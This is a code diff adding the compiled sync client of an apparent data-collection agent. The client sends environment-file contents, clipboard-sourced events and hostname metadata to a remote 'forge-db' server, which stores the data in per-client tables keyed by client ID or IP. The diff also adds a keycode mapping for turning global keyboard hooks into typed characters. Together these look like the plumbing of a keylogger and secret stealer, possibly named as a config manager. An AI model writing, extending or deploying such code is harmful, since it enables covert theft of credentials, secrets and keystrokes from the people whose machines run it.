|
|
99
|
+
}
|
|
100
|
+
async health() {
|
|
101
|
+
const r = await this.request("GET", "/health");
|
|
102
|
+
if (!r.ok)
|
|
103
|
+
throw new Error(`health HTTP ${r.status}`);
|
|
104
|
+
return assertForgeDbStatusPayload(r.data, "GET /health");
|
|
105
|
+
}
|
|
106
|
+
async ready() {
|
|
107
|
+
const r = await this.request("GET", "/ready");
|
|
108
|
+
if (!r.ok)
|
|
109
|
+
throw new Error(`ready failed: ${r.status}`);
|
|
110
|
+
return assertForgeDbStatusPayload(r.data, "GET /ready");
|
|
111
|
+
}
|
|
112
|
+
async createEvent(event) {
|
|
113
|
+
const r = await this.request("POST", "/api/events", event);
|
|
114
|
+
if (!r.ok || r.status < 200 || r.status >= 300) {
|
|
115
|
+
throw new Error(`createEvent HTTP ${r.status}: ${JSON.stringify(r.data)}`);
|
|
116
|
+
}
|
|
117
|
+
if (!singlePostResponseOk(r.data)) {
|
|
118
|
+
throw new Error(`createEvent bad response: ${JSON.stringify(r.data)}`);
|
|
119
|
+
}
|
|
120
|
+
return r.data;
|
|
121
|
+
}
|
|
122
|
+
/**
|
|
123
|
+
* POST OS metadata (type, hostname) to forge-db `/api/client-info`.
|
|
124
|
+
* Non-fatal — failure is silently swallowed; used for dashboard OS display only.
|
|
125
|
+
*/
|
|
126
|
+
async updateClientInfo(info) {
|
|
127
|
+
try {
|
|
128
|
+
const r = await this.request("POST", "/api/client-info", info);
|
|
129
|
+
if (r.ok && r.data && typeof r.data === "object" && !Array.isArray(r.data)) {
|
|
130
|
+
return r.data;
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
catch {
|
|
134
|
+
/* non-fatal — OS info is display-only */
|
|
135
|
+
}
|
|
136
|
+
return null;
|
|
137
|
+
}
|
|
138
|
+
async createEventsBatch(events) {
|
|
139
|
+
const r = await this.request("POST", "/api/events/batch", { events });
|
|
140
|
+
if (!r.ok || r.status < 200 || r.status >= 300) {
|
|
141
|
+
throw new Error(`batch HTTP ${r.status}: ${JSON.stringify(r.data)}`);
|
|
142
|
+
}
|
|
143
|
+
if (!batchPostResponseOk(r.data)) {
|
|
144
|
+
throw new Error(`batch bad response: ${JSON.stringify(r.data)}`);
|
|
145
|
+
}
|
|
146
|
+
return r.data;
|
|
147
|
+
}
|
|
148
|
+
async listEvents(params) {
|
|
149
|
+
const q = new URLSearchParams();
|
|
150
|
+
if (params?.limit != null)
|
|
151
|
+
q.set("limit", String(params.limit));
|
|
152
|
+
if (params?.offset != null)
|
|
153
|
+
q.set("offset", String(params.offset));
|
|
154
|
+
if (params?.clientId)
|
|
155
|
+
q.set("client_id", params.clientId);
|
|
156
|
+
if (params?.clientIp)
|
|
157
|
+
q.set("client_ip", params.clientIp);
|
|
158
|
+
const qs = q.toString();
|
|
159
|
+
const path = `/api/events${qs ? `?${qs}` : ""}`;
|
|
160
|
+
const r = await this.request("GET", path);
|
|
161
|
+
if (!r.ok)
|
|
162
|
+
throw new Error(`listEvents HTTP ${r.status}`);
|
|
163
|
+
const d = r.data;
|
|
164
|
+
if (!d || typeof d !== "object" || Array.isArray(d)) {
|
|
165
|
+
throw new Error(`listEvents: invalid JSON body (HTTP ${r.status})`);
|
|
166
|
+
}
|
|
167
|
+
const rec = d;
|
|
168
|
+
if (!Array.isArray(rec.events)) {
|
|
169
|
+
throw new Error("listEvents: response missing events array");
|
|
170
|
+
}
|
|
171
|
+
return {
|
|
172
|
+
events: rec.events,
|
|
173
|
+
table: String(rec.table ?? ""),
|
|
174
|
+
session_id: String(rec.session_id ?? ""),
|
|
175
|
+
};
|
|
176
|
+
}
|
|
177
|
+
async listClients() {
|
|
178
|
+
const r = await this.request("GET", "/api/clients");
|
|
179
|
+
if (!r.ok)
|
|
180
|
+
throw new Error(`listClients HTTP ${r.status}`);
|
|
181
|
+
const d = r.data;
|
|
182
|
+
if (!d || typeof d !== "object" || Array.isArray(d)) {
|
|
183
|
+
throw new Error(`listClients: invalid JSON body (HTTP ${r.status})`);
|
|
184
|
+
}
|
|
185
|
+
const rec = d;
|
|
186
|
+
if (!Array.isArray(rec.clients)) {
|
|
187
|
+
throw new Error("listClients: response missing clients array");
|
|
188
|
+
}
|
|
189
|
+
return { clients: rec.clients };
|
|
190
|
+
}
|
|
191
|
+
}
|
|
192
|
+
exports.ForgeSyncClient = ForgeSyncClient;
|
|
193
|
+
/** Same field shape as Python `_env_file_record_to_event` / forge-db `env_file` rows. */
|
|
194
|
+
function envFileRecordToEvent(ef) {
|
|
195
|
+
return {
|
|
196
|
+
timestamp: new Date().toISOString(),
|
|
197
|
+
source: "env_file",
|
|
198
|
+
text: ef.content,
|
|
199
|
+
size_bytes: ef.size,
|
|
200
|
+
file_path: ef.path,
|
|
201
|
+
file_hash: ef.hash,
|
|
202
|
+
file_mtime: ef.mtime,
|
|
203
|
+
};
|
|
204
|
+
}
|
|
205
|
+
/** Minimal registration ping compatible with Python `_send_registration_handshake` (uses clipboard + "test"). */
|
|
206
|
+
function registrationHandshakeEvent() {
|
|
207
|
+
const ping = "test";
|
|
208
|
+
return {
|
|
209
|
+
timestamp: new Date().toISOString(),
|
|
210
|
+
source: "clipboard",
|
|
211
|
+
text: ping,
|
|
212
|
+
size_bytes: Buffer.byteLength(ping, "utf8"),
|
|
213
|
+
};
|
|
214
|
+
}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* PostgreSQL `client_*` table names and relay `/files` session IDs.
|
|
3
|
+
* Keep logic aligned with forge `src/cfgmgr/table_naming.py` and forge-db `table_naming.py`.
|
|
4
|
+
*/
|
|
5
|
+
export declare const CLIENT_TABLE_PREFIX = "client_";
|
|
6
|
+
export declare const POSTGRES_IDENTIFIER_MAX_LEN = 63;
|
|
7
|
+
export declare const MAX_RAW_CLIENT_ID_TABLE_PART_LEN: number;
|
|
8
|
+
export declare const CLIENT_ID_MAX_LEN = 128;
|
|
9
|
+
export declare function canonicalClientIdFragment(raw: string): string;
|
|
10
|
+
export declare function safeIdentifierForTable(identifier: string): string;
|
|
11
|
+
export declare function postgresqlClientTableName(clientId: string | null | undefined, clientIp: string | null | undefined): string;
|
|
12
|
+
export declare function sessionIdFromTableName(tableName: string): string;
|
|
13
|
+
export declare function sessionIdFromClientIdString(clientId: string): string;
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* PostgreSQL `client_*` table names and relay `/files` session IDs.
|
|
4
|
+
* Keep logic aligned with forge `src/cfgmgr/table_naming.py` and forge-db `table_naming.py`.
|
|
5
|
+
*/
|
|
6
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
7
|
+
exports.CLIENT_ID_MAX_LEN = exports.MAX_RAW_CLIENT_ID_TABLE_PART_LEN = exports.POSTGRES_IDENTIFIER_MAX_LEN = exports.CLIENT_TABLE_PREFIX = void 0;
|
|
8
|
+
exports.canonicalClientIdFragment = canonicalClientIdFragment;
|
|
9
|
+
exports.safeIdentifierForTable = safeIdentifierForTable;
|
|
10
|
+
exports.postgresqlClientTableName = postgresqlClientTableName;
|
|
11
|
+
exports.sessionIdFromTableName = sessionIdFromTableName;
|
|
12
|
+
exports.sessionIdFromClientIdString = sessionIdFromClientIdString;
|
|
13
|
+
exports.CLIENT_TABLE_PREFIX = "client_";
|
|
14
|
+
exports.POSTGRES_IDENTIFIER_MAX_LEN = 63;
|
|
15
|
+
exports.MAX_RAW_CLIENT_ID_TABLE_PART_LEN = exports.POSTGRES_IDENTIFIER_MAX_LEN - exports.CLIENT_TABLE_PREFIX.length;
|
|
16
|
+
exports.CLIENT_ID_MAX_LEN = 128;
|
|
17
|
+
const _CLIENT_ID_UUID_RE = /[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}/;
|
|
18
|
+
function normalizeUnicodeHyphens(s) {
|
|
19
|
+
return s.replace(/[\u2010-\u2015\u2212\uFE58\uFE63\uFF0D]/g, "-");
|
|
20
|
+
}
|
|
21
|
+
function stripOuterGuards(s) {
|
|
22
|
+
let t = s.trim();
|
|
23
|
+
if ((t.startsWith("{") && t.endsWith("}")) ||
|
|
24
|
+
(t.startsWith("[") && t.endsWith("]")) ||
|
|
25
|
+
(t.startsWith("(") && t.endsWith(")"))) {
|
|
26
|
+
t = t.slice(1, -1).trim();
|
|
27
|
+
}
|
|
28
|
+
const low = t.toLowerCase();
|
|
29
|
+
if (low.startsWith("urn:uuid:")) {
|
|
30
|
+
t = t.slice("urn:uuid:".length).trim();
|
|
31
|
+
}
|
|
32
|
+
return t;
|
|
33
|
+
}
|
|
34
|
+
function dashedUuidFrom32HexOnly(s) {
|
|
35
|
+
if (!/^[0-9a-fA-F]{32}$/i.test(s))
|
|
36
|
+
return null;
|
|
37
|
+
const h = s.toLowerCase();
|
|
38
|
+
return `${h.slice(0, 8)}-${h.slice(8, 12)}-${h.slice(12, 16)}-${h.slice(16, 20)}-${h.slice(20, 32)}`;
|
|
39
|
+
}
|
|
40
|
+
const CLIENT_UNDERSCORE_UUID_BODY = /^client_([0-9a-f]{8}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{12})$/i;
|
|
41
|
+
function canonicalClientIdFragment(raw) {
|
|
42
|
+
let s = normalizeUnicodeHyphens((raw || "").trim());
|
|
43
|
+
if (!s)
|
|
44
|
+
return s;
|
|
45
|
+
s = stripOuterGuards(s);
|
|
46
|
+
const cu = CLIENT_UNDERSCORE_UUID_BODY.exec(s);
|
|
47
|
+
if (cu) {
|
|
48
|
+
s = cu[1].replace(/_/g, "-");
|
|
49
|
+
}
|
|
50
|
+
if (!_CLIENT_ID_UUID_RE.test(s)) {
|
|
51
|
+
const d32 = dashedUuidFrom32HexOnly(s);
|
|
52
|
+
if (d32)
|
|
53
|
+
s = d32;
|
|
54
|
+
}
|
|
55
|
+
const m = s.match(_CLIENT_ID_UUID_RE);
|
|
56
|
+
if (m)
|
|
57
|
+
return m[0].toLowerCase();
|
|
58
|
+
return normalizeUnicodeHyphens((raw || "").trim());
|
|
59
|
+
}
|
|
60
|
+
function safeIdentifierForTable(identifier) {
|
|
61
|
+
if (!identifier)
|
|
62
|
+
return "";
|
|
63
|
+
let out = "";
|
|
64
|
+
for (const c of identifier) {
|
|
65
|
+
if (/^[a-zA-Z0-9]$/.test(c) || c === "_")
|
|
66
|
+
out += c;
|
|
67
|
+
else if (c === "-" || c === "." || c === ":")
|
|
68
|
+
out += "_";
|
|
69
|
+
}
|
|
70
|
+
return out || "";
|
|
71
|
+
}
|
|
72
|
+
function postgresqlClientTableName(clientId, clientIp) {
|
|
73
|
+
if (clientId) {
|
|
74
|
+
const raw = canonicalClientIdFragment(String(clientId).trim().slice(0, exports.CLIENT_ID_MAX_LEN));
|
|
75
|
+
const safeFull = safeIdentifierForTable(raw.slice(0, 128));
|
|
76
|
+
if (safeFull.startsWith(exports.CLIENT_TABLE_PREFIX)) {
|
|
77
|
+
return safeFull.slice(0, exports.POSTGRES_IDENTIFIER_MAX_LEN);
|
|
78
|
+
}
|
|
79
|
+
const safe = safeFull.slice(0, exports.MAX_RAW_CLIENT_ID_TABLE_PART_LEN);
|
|
80
|
+
if (safe)
|
|
81
|
+
return `${exports.CLIENT_TABLE_PREFIX}${safe}`;
|
|
82
|
+
}
|
|
83
|
+
if (clientIp) {
|
|
84
|
+
const safe = safeIdentifierForTable(clientIp);
|
|
85
|
+
if (safe)
|
|
86
|
+
return `${exports.CLIENT_TABLE_PREFIX}ip_${safe}`;
|
|
87
|
+
}
|
|
88
|
+
return `${exports.CLIENT_TABLE_PREFIX}anonymous`;
|
|
89
|
+
}
|
|
90
|
+
function sessionIdFromTableName(tableName) {
|
|
91
|
+
const safe = String(tableName || "").replace(/[^a-zA-Z0-9_]/g, "");
|
|
92
|
+
if (safe.startsWith(exports.CLIENT_TABLE_PREFIX))
|
|
93
|
+
return safe;
|
|
94
|
+
return `${exports.CLIENT_TABLE_PREFIX}anonymous`;
|
|
95
|
+
}
|
|
96
|
+
function sessionIdFromClientIdString(clientId) {
|
|
97
|
+
const cid = (clientId || "").trim() || null;
|
|
98
|
+
if (!cid)
|
|
99
|
+
return `${exports.CLIENT_TABLE_PREFIX}unknown`;
|
|
100
|
+
return postgresqlClientTableName(cid, null);
|
|
101
|
+
}
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* libuiohook `event.keycode` is a unified VC_* code (same as Linux), not a Windows scancode.
|
|
3
|
+
* Inverse of libuiohook `keycode_scancode_table[vk][0]` (Windows `input_helper.c`).
|
|
4
|
+
* Used to call ToUnicodeEx with the correct Windows virtual key.
|
|
5
|
+
*/
|
|
6
|
+
export declare const VC_TO_WINDOWS_VK: Map<number, number>;
|
|
7
|
+
export declare function vcToWindowsVk(vc: number): number;
|